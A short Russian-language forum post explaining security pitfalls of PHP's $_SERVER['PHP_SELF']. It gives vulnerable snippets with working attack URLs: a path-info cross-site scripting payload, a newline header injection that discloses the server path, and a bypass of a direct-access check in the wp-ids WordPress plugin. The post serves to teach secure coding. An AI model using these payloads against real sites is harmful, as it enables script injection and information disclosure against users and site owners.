Есть ещё несколько забавных вещичек связанных с переменной
$_SERVER['PHP_SELF']
например кодес
PHP код:
echo "<form action='".$_SERVER['PHP_SELF']."'>";
при обращении к скрипту как
Код:
http://localhost/script.php/">lalala
вы увидем выход за пределы тега etc, т.е. потенциальная xss)
При этом возможно передавать переменные через GET, например
PHP код:
echo "<a href='".$_SERVER['PHP_SELF']."?lalala'>link</a>";
if($_GET['hek']=='4') echo 'тынц-тынц';
Код:
http://localhost/script.php/"><script>alert(/XSS/)</script>?hek=4
на выходе мы получим наш алерт и надпись "тынц-тынц" =)
Далее если $_SERVER['PHP_SELF'] используется при перенаправлении путём посылки хэдера, то можно вызвать раскрытие пути
PHP код:
header("Location: {$_SERVER['PHP_SELF']}");
Код:
http://localhost/script.php/%0ALocation:%20http://www.google.com
Warning: Header may not contain more than a single header, new line detected. in X:\home\localhost\www\script.php on line 4
Так же можно обойти некоторые ограничение безопасности, например в
wp-ids
файл wpids-css.php
PHP код:
<?php
if(eregi("^wpids\-css\.php", basename($_SERVER['PHP_SELF']))) {
die('You cannot call this file directly.');
}?>
<style type="text/css">
#wpids_wrapper {
padding:20px;
background-color:#fbfbfb;
}
...
обходится элементарно
Код:
http://localhost/wp-ids/wpids-css.php/lalala
PHP код:
basename($_SERVER)='lalala'
PS ничё особенного в файле нет, но всё-таки) но если брать конкретно wp-ids, то главным образом обламывает .htaccess +)
линк